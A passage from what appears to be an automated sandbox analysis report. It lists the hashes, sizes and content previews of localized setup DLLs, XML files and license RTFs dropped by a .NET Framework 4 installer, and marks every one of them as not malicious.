                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):19288
                  Entropy (8bit):5.607263971475317
                  Encrypted:false
                  SSDEEP:384:jwB6VfhGGglsETXrI7k1tcVlUHe3YRPWTBZWwLXci2jXHUQ:jlpGGKQVlhsSLMi2jXHUQ
                  MD5:E663B67A66ADF9375D1D183CA5FDD23D
                  SHA1:30360546A00FFF0A7C2B47F4B01C89E771F13971
                  SHA-256:574FBDEDCDA1F9F34C997AC3F192CBA72A67D6534B2E9AB80A35AB3543621D58
                  SHA-512:46E7FFB4889A43059665893ABF1D2B6BF3430A617023FFA91F54AF6D5062444B844D8811ED2D037E756993F733986479E93784AC25C553F70F1CF8D1B67182A3
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........0...............................................P............@.......................................... ..`-...........4..X............................................................................................text...G...........................@..@.rsrc....0... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1032\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):8876
                  Entropy (8bit):4.086204739568071
                  Encrypted:false
                  SSDEEP:192:/foOHY6P6Km5NHMQaEjxPSuHON0SuQI62:R46Pm5Ns0jxpeuQV2
                  MD5:2091F5DA2BF884F747103A31D2DC947B
                  SHA1:AAD26EB74B793D7DE2F466150F609C276D398FB5
                  SHA-256:B7A7F2388600D9D059DCDF300845938E429A0FF16EB03BDECE48825805069B7E
                  SHA-512:AE798ACD11E9A4ADD33DA760B46200E24B9F9403BBBFAF6CB45E25193D346BDE3B91C9B79BB7E10E529DEDD824A89D23212745CF9E9E5EBB44319E9DD812C61D
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset161 Tahoma;}{\f1\froman\fprq2\fcharset161{\*\fname Times New Roman;}Times New Roman Greek;}{\f2\fswiss\fprq2\fcharset161 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1032\b\f0\fs20\'d3\'d5\'cc\'d0\'cb\'c7\'d1\'d9\'cc\'c1\'d4\'c9\'ca\'cf\'c9 \'cf\'d1\'cf\'c9 \'c1\'c4\'c5\'c9\'c1\'d3 \'d7\'d1\'c7\'d3\'c7\'d3 \'cb\'cf\'c3\'c9\'d3\'cc\'c9\'ca\'cf\'d5 \'d4\'c7\'d3 MICROSOFT\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\lang1032\f0 MICROSOFT .NET FRAMEWORK 4 \'c3\'c9\'c1 \'cb\'c5\'c9\'d4\'cf\'d5\'d1\'c3\'c9\'ca\'cf \'d3\'d5\'d3\'d4\'c7\'cc\'c1 MICROSOFT WINDOWS\lang1033\f1\par..\lang1032\f0\'d0\'d1\'cf\'d6\'c9\'cb \'d0\'d1\'cf\'c3\'d1\'c1\'cc\'cc\'c1\'d4\'cf\'d3-\'d0\'c5\'cb\'c1\'d4\'c7 MICROSOFT .NET FRAMEWORK 4 \'c3\'c9\'c1 \'cb\'c5\'c9\'d4\'cf\'d5\'d1\'c3\'c9\'ca\'cf \'d3\'d5\'d3\

                  C:\6231e956ee22143d5ce90e\1033\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (657), with CRLF line terminators
                  Category:dropped
                  Size (bytes):77232
                  Entropy (8bit):3.5669629909438734
                  Encrypted:false
                  SSDEEP:384:4w6JjgKW5D8U2JhrDheHQTBNgNSdfUGNatvcc7QDBuGdSJgkR6Sqzxu:gJsKKIrDPT7lSJYI
                  MD5:326518603D85ACD79A6258886FC85456
                  SHA1:F1CEF14BC4671A132225D22A1385936AD9505348
                  SHA-256:665797C7840B86379019E5A46227F888FA1A36A593EA41F9170EF018C337B577
                  SHA-512:F8A514EFD70E81D0F2F983282D69040BCA6E42F29AA5DF554E6874922A61F112E311AD5D2B719B6CA90012F69965447FB91E8CD4103EFB2453FF160A9062E5D3
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".T.h.e. .s.e.t.u.p. .c.a.n.n.o.t. .r.u.n. .i.n. .c.o.m.p.a.t.i.b.i.l.i.t.y. .m.o.d.e... .F.o.r. .m.o.r.e. .i.n.f.o.r.m.a.t.i.o.n.,. .s.e.e. .t.h.e. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.R.e.a.d.m.e. .f.i.l.e.&.l.t.;./.A.&.g.t.;...". ./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.

                  C:\6231e956ee22143d5ce90e\1033\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):17240
                  Entropy (8bit):5.151474565875158
                  Encrypted:false
                  SSDEEP:192:byk5nUfwTW7JwWp0eW6jp8M+9HS8bC/TJs7kFkzQKPnEtObMacxc8hjeyveCXZBe:pgoTWp0eWB9ygC/TfFkzLXci2jpv8
                  MD5:9547D24AC04B4D0D1DBF84F74F54FAF7
                  SHA1:71AF6001C931C3DE7C98DDC337D89AB133FE48BB
                  SHA-256:36D0159ED1A7D88000737E920375868765C0A1DD6F5A5ACBB79CF7D97D9E7A34
                  SHA-512:8B6048F4185A711567679E2DE4789407077CE5BFE72102D3CB1F23051B8D3E6BFD5886C801D85B4E62F467DD12DA1C79026A4BC20B17F54C693B2F24E499D40F
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........(...............................................P......<f....@.......................................... ...%...........,..X............................................................................................text...G...........................@..@.rsrc....%... ...&..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1033\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):3188
                  Entropy (8bit):5.285087573798006
                  Encrypted:false
                  SSDEEP:96:MHfTLNnTkWBTkFDZ8f4wHlre7MUxprfKmMb0+MW+1Ep9qeelN+sznM+IEp+Lk2:yfyTLillHW+mMhyAspz2
                  MD5:B7129C4881F118FCB38F27CFB00CD36D
                  SHA1:148989B710205C6A67B3F960567F6DAA98D75BDA
                  SHA-256:DA3D6A6AC223744DF01C920EAE5F43E017F52350831C4F3F6BB38D78232EA3B4
                  SHA-512:C0816D7676DDF0774EB9022BD305CDCDFEF590BE38E20C2D5584968BCA78E10A14BE375FA892593F11D04BE2734A30B5C1D21814B88C31814C713E08546436E7
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;\red255\green0\blue0;\red0\green0\blue128;}..{\*\generator Msftedit 5.41.21.2508;}\viewkind4\uc1\pard\sb120\sa120\f0\fs20\par..\b\f1\fs28 MICROSOFT SOFTWARE SUPPLEMENTAL LICENSE TERMS\par..\fs22 MICROSOFT .NET FRAMEWORK 4 FOR MICROSOFT WINDOWS OPERATING SYSTEM \f0\par..\f1 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE FOR MICROSOFT WINDOWS OPERATING SYSTEM \f0\par..\pard\brdrb\brdrs\brdrw10\brsp20 \sb120\sa120\f1 AND ASSOCIATED LANGUAGE PACKS\b0\f0\par..\pard\sb120\sa120\f1\fs20 Microsoft Corporation (or based on where you live, one of its affiliates) licenses this supplement to you. If you are licensed to use Microsoft Windows operating system software (for which this supplement is applicable) (the \ldblquote software\rdblquote ), you may use this supplement. You may

                  C:\6231e956ee22143d5ce90e\1035\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (597), with CRLF line terminators
                  Category:dropped
                  Size (bytes):77022
                  Entropy (8bit):3.5745326569682434
                  Encrypted:false
                  SSDEEP:1536:wT42CX8ugmmuM92kEMeeGOCOUJPePJiWGICG+JND:wT42CX8ugmmuM92kEMeeGOCOUJPePJi/
                  MD5:1AA252256C895B806E4E55F3EA8D5FFB
                  SHA1:0322EE94C3D5EA26418A2FEA3F7E62EC5D04B81D
                  SHA-256:8A68B3B6522C30502202ECB8D16AE160856947254461AC845B39451A3F2DB35F
                  SHA-512:CE57784892C0BE55A00CED0ADC594A534D8A40819790CA483A29B6CD544C7A75AE4E9BDE9B6DC6DE489CECEB7883B7C2EA0E98A38FCC96D511157D61C8AA3E63
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".A.s.e.n.n.u.s.o.h.j.e.l.m.a.a. .e.i. .v.o.i. .s.u.o.r.i.t.t.a.a. .y.h.t.e.e.n.s.o.p.i.v.u.u.s.t.i.l.a.s.s.a... .L.i.s...t.i.e.t.o.j.a. .o.n. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.L.u.e. .m.i.n.u.t. .-.t.i.e.d.o.s.t.o.s.s.a.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.

                  C:\6231e956ee22143d5ce90e\1035\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18264
                  Entropy (8bit):5.166182954405893
                  Encrypted:false
                  SSDEEP:192:rJkinUfwVWVRdufl0fXA1Z1j93S0WHpdcIirs442QXWMkeWEQKPnEtObMacxc8hg:rO16Lwz51JWMkeWELXci2jpvi
                  MD5:881ADF55D51976CA592033A7ADF620B8
                  SHA1:E82ED85E25411610D1F977A99368A7A6547C7C47
                  SHA-256:88FCE9BFC0458E375811A7F1EA7CB9777E241D373EEF15D4B23835F77979D54C
                  SHA-512:FED744A6E37F18B6CC3708EEB9F3E874269B1CBDB63B54284470E39E2B01D3DFB61F3626E34638231B9034FA699BDCCD7FE623D8478B205723EF45C1AA595FF9
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P......(.....@.......................................... ..x)...........0..X............................................................................................text...G...........................@..@.rsrc....0... ...*..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1035\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):3702
                  Entropy (8bit):5.238529406475761
                  Encrypted:false
                  SSDEEP:96:MWBfuMAh8TZhqTy9DbDixX7zR7MrrqX37ILY7TpLgoyk1zERRe5g9KIMpDnYA06m:VfeRzH3vmLQzE6AOAC2
                  MD5:4A43D21D1576E040DC9F5B90162A0401
                  SHA1:1616FA39D9E4E7B2BB927CADED944DD14BD05656
                  SHA-256:F0E2739892A1CE8A6445CEC72FF9AD88E939E21C719552E8ACD746F92F9FAFB7
                  SHA-512:7A7C50B7EC09282A828B06C6A52340C1CAEFF0CFA01FF81375483045972D3645092B5B385103C19ACCADBE5B758DFF85A9DC6FDC00F9AF32AEE076E2C49F79BA
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1035\b\f0\fs20 MICROSOFT-OHJELMISTON T\'c4YDENNYSOSAN K\'c4YTT\'d6OIKEUSSOPIMUKSEN EHDOT\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\lang1035\f0 MICROSOFT .NET FRAMEWORK 4 MICROSOFT WINDOWS -K\'c4YTT\'d6J\'c4RJESTELM\'c4\'c4N\lang1033\f1\par..\lang1035\f0 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE MICROSOFT WINDOWS -K\'c4YTT\'d6J\'c4RJESTELM\'c4\'c4N\par..\lang1033 SEK\'c4 NIIHIN LIITTYV\'c4T KIELIPAKETIT\par..\pard\nowidctlpar\sb120\sa120\lang1035\b0 Microsoft Corporation (tai asiakkaan asuinpaikan mukaan m\'e4\'e4r\'e4ytyv\'e4 Microsoft Corporationin konserniyhti\'f6) my\'f6nt\'e4\'e4 asiakkaalle t\'e4m\'e4n t\'e4ydennysosan k\'e4ytt\'f6oikeudet.\la

                  C:\6231e956ee22143d5ce90e\1036\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (666), with CRLF line terminators
                  Category:dropped
                  Size (bytes):82962
                  Entropy (8bit):3.5891850903091727
                  Encrypted:false
                  SSDEEP:384:4wCFpNvOvt1jagJVzRzchryjiTIJz0kbG52bxVv:WvotpaluaIJzaIv
                  MD5:1DAD88FAED661DB34EEF535D36563EE2
                  SHA1:0525B2F97EDDBD26325FDDC561BF8A0CDA3B0497
                  SHA-256:9605468D426BCBBE00165339D84804E5EB2547BFE437D640320B7BFEF0B399B6
                  SHA-512:CCD0BFFBF0538152CCCD4B081C15079716A5FF9AD04CEE8679B7F721441F89EB7C6F8004CFF7E1DDE9188F5201F573000D0C078474EDF124CFA4C619E692D6BC
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".L.e. .p.r.o.g.r.a.m.m.e. .d.'.i.n.s.t.a.l.l.a.t.i.o.n. .n.e. .p.e.u.t. .p.a.s. .s.'.e.x...c.u.t.e.r. .e.n. .m.o.d.e. .d.e. .c.o.m.p.a.t.i.b.i.l.i.t..... .P.o.u.r. .p.l.u.s. .d.'.i.n.f.o.r.m.a.t.i.o.n.s.,. .c.o.n.s.u.l.t.e.z. .l.e. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.f.i.c.h.i.e.r. .r.e.a.d.m.e.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.

                  C:\6231e956ee22143d5ce90e\1036\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18776
                  Entropy (8bit):5.112489568342605
                  Encrypted:false
                  SSDEEP:384:J7Z66AY9li3OoDDkbiWpQeWELXci2jpv8:JffiZDgycMi2jpv8
                  MD5:93F57216FE49E7E2A75844EDFCCC2E09
                  SHA1:DCCD52787F147E9581D303A444C8EE134AFC61A8
                  SHA-256:2506827219B461B7C6C862DAE29C8BFF8CB7F4A6C28D2FF60724CAC70903987D
                  SHA-512:EADFFB534C5447C24B50C7DEFA5902F9EB2DCC4CF9AF8F43FA889B3367EA25DFA6EA87FF89C59F1B7BBF7106888F05C7134718021B44337AE5B7D1F808303BB1
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................P......B|....@.......................................... ...+...........2..X............................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1036\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):3526
                  Entropy (8bit):5.107243175407303
                  Encrypted:false
                  SSDEEP:96:MTBfEhmvTf8vTR/DSIem21HDpHD1cT+Tot4er42xzK8/ptMpDLaFNsNGlDPsCU2:IfJw95eJlx1E+Tot4er42xzKuOKPU2
                  MD5:E0DA85DB8B02A89A63601EA6B9AD7FF8
                  SHA1:5F91C397CF3FBF4475FF71339B2D69C45694130F
                  SHA-256:8880B979A4F8ECDD529241D9AE02583FECD21010EA1E255A1CBCD0C6FB2F75E9
                  SHA-512:C8F47154145507C89D9B599D725C3444A206AE2AFAC2ACA4B2EA18980DEC134A25FC539CE1FB2291AF942DC1CA25EE2FFF323FB17F43F5BF91157A30B19BCD17
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1036\b\f0\fs20 TERMES DE CONTRAT DE LICENCE D\rquote UN SUPPL\'c9MENT MICROSOFT\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0 MICROSOFT .NET FRAMEWORK\~4 POUR LE SYST\'c8ME D\rquote EXPLOITATION MICROSOFT WINDOWS\f1\par..\f0 MICROSOFT .NET FRAMEWORK\~4 CLIENT PROFILE POUR LE SYST\'c8ME D\rquote EXPLOITATION MICROSOFT WINDOWS\par..ET LES LANGAGE PACKS ASSOCI\'c9S\par..\pard\nowidctlpar\sb120\sa120\b0 Microsoft Corporation (ou, en fonction du lieu o\'f9 vous vivez, l\rquote un de ses affili\'e9s) vous accorde une licence pour ce suppl\'e9ment.\b \b0 Si vous \'eates titulaire d\rquote une licence d\rquote utilisation du logiciel de syst\'e8me d\rquote exploita

                  C:\6231e956ee22143d5ce90e\1037\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (599), with CRLF line terminators
                  Category:dropped
                  Size (bytes):72076
                  Entropy (8bit):4.190903034087703
                  Encrypted:false
                  SSDEEP:384:4wkvJlqaYsxaAzdNhXdQGKbvvGu1kZJNvSX33qLv:OHqaBxaeJN7T
                  MD5:16E6416756C1829238EF1814EBF48AD6
                  SHA1:C9236906317B3D806F419B7A98598DD21E27AD64
                  SHA-256:C0EE256567EA26BBD646F019A1D12F3ECED20B992718976514AFA757ADF15DEA
                  SHA-512:AA595ED0B3B1DB280F94B29FA0CB9DB25441A1EF54355ABF760B6B837E8CE8E035537738E666D27DD2A8D295D7517C325A5684E16304887CCB17313CA4290CE6
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."............... ............. ....... ............. ........... ......... ............... ........... ......... .........,. ....... .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;......... .R.e.a.d.m.e.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.a.l.i.z.e.d.T.e.x.

                  C:\6231e956ee22143d5ce90e\1037\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):16728
                  Entropy (8bit):5.741920618836553
                  Encrypted:false
                  SSDEEP:192:KADkdHUfwVW13jowXiTeISvjpHawC1wWmeW8QKPnEtObMacxc8hjeyveCX1HQ:K506Qrw5wWmeW8LXci2jpvfw
                  MD5:06CC83E6C677DB13757DF4242F5679F7
                  SHA1:493D44DA1C36A5CEC83B0420BEBC2BF76A9262E8
                  SHA-256:8E3C9332AB38DAD95A4293C466EAB88B17DEE82C87BE047839E85BB816B6146E
                  SHA-512:D4E1694AFE2A35A7A2DB3C8B2A4F83A536DE0AFC5871AE44591317B5B6489B3911F7AEDE8AD9584DCB0BAA8D84B65A20393D587D6F993035FA7DFE13AEAF10CF
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........&...............................................P............@.......................................... ..."...........*..X............................................................................................text...G...........................@..@.rsrc....0... ...$..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1037\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1255, default language ID 1033
                  Category:dropped
                  Size (bytes):6851
                  Entropy (8bit):4.46966326918659
                  Encrypted:false
                  SSDEEP:96:2Rf64JJR1vTJ3R1vTJZZDg1YGZmF1plypIuw75TYgnMJ9nqIQ2fPMpicPtxScRtZ:0fXRskPWIHxYnJVPOxScl9ZnlfZ4LH2
                  MD5:74C015D4E8024F9A49CF8D183CBDB0F5
                  SHA1:8428260A9E522A712EFC8740AF848BD7521DEB8E
                  SHA-256:D7718CF8F97F78656AA8964721757EA7E369FC7BBB052777C90E63D07C7CC7C5
                  SHA-512:BB8748054F194450BC0383D4E88600F00E01BA8FD182C3C3A5A09CFBB0C2FBC30B9CECBAD0B99DDA1EEFA5C3EB56AD50CCACF3FE39302842F16A17082F5F8D04
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1255\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset177 Tahoma;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\froman\fprq2\fcharset177 Times New Roman;}}..{\colortbl ;\red0\green0\blue0;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\rtlpar\nowidctlpar\sb120\sa120\qr\lang1037\b\f0\rtlch\fs20\'fa\'f0\'e0\'e9 \'f8\'f9\'e9\'e5\'ef \'ee\'f9\'ec\'e9\'ee\'e9\'ed \'f2\'e1\'e5\'f8 \'fa\'e5\'eb\'f0\'fa \lang1033\f1\ltrch MICROSOFT\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \rtlpar\nowidctlpar\sb120\sa120\qr\f1 MICROSOFT .NET FRAMEWORK 4\lang1037\f0\rtlch \'f2\'e1\'e5\'f8 \'ee\'f2\'f8\'eb\'fa \'e4\'e4\'f4\'f2\'ec\'e4 \lang1033\f1\ltrch MICROSOFT WINDOWS\par..\lang1037\f0\rtlch\'f4\'f8\'e5\'f4\'e9\'ec \'ec\'f7\'e5\'e7 \'f9\'ec \lang1033\f1\ltrch MICROSOFT .NET FRAMEWORK 4\lang1037\f0\rtlch \'f2\'e1\'e5\'f8 \'ee\'f2\'f8\'eb\'fa \'e4\'e4\'f4\'f2\'ec\'e4 \lang1033\f1\ltrch MICROSOFT

                  C:\6231e956ee22143d5ce90e\1038\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (723), with CRLF line terminators
                  Category:dropped
                  Size (bytes):86442
                  Entropy (8bit):3.674300926924721
                  Encrypted:false
                  SSDEEP:1536:Ji+5JLuNF70SNjPBzuXrXdJHbdi3kC4kL1:Ji+5JLyF70SNjPBzuXrXdJHbdi3kCZZ
                  MD5:89D4356E0F226E75CA71D48690E8EC15
                  SHA1:2336CAA971527977F47512BC74E88CEC3F770C7D
